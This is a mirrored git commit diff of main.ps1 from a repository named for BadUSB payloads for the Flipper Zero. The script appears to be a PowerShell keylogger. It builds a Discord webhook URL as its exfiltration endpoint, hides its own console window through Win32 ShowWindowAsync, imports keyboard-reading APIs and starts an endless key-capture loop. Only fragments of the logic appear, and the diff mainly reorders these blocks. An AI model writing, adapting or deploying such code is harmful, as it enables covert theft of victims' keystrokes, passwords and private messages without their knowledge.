mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-24 20:10:12 -08:00
Update main.ps1
This commit is contained in:
@@ -4,7 +4,19 @@ if ($dc.Length -lt 120){
|
||||
$dc = ("https://discord.com/api/webhooks/" + "$dc")
|
||||
}
|
||||
|
||||
# =====================================================================================================================================================
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
if($hwnd -ne [System.IntPtr]::Zero){
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else{
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
|
||||
<#
|
||||
Ablaze – On fire; brightly burning with intensity.
|
||||
|
||||
@@ -36,21 +48,6 @@ Nimble – Quick and light in movement or action.
|
||||
|
||||
#>
|
||||
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
if($hwnd -ne [System.IntPtr]::Zero){
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else{
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
|
||||
$LastKeypressTime = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
$KeypressThreshold = [TimeSpan]::FromSeconds(10)
|
||||
|
||||
# Import DLL Definitions for keyboard inputs
|
||||
$API = @'
|
||||
@@ -66,6 +63,9 @@ public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeyst
|
||||
$API = Add-Type -MemberDefinition $API -Name 'Win32' -Namespace API -PassThru
|
||||
|
||||
|
||||
$LastKeypressTime = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
$KeypressThreshold = [TimeSpan]::FromSeconds(10)
|
||||
|
||||
# Start a continuous loop
|
||||
While ($true){
|
||||
$keyPressed = $false
|
||||
|
||||
Reference in New Issue
Block a user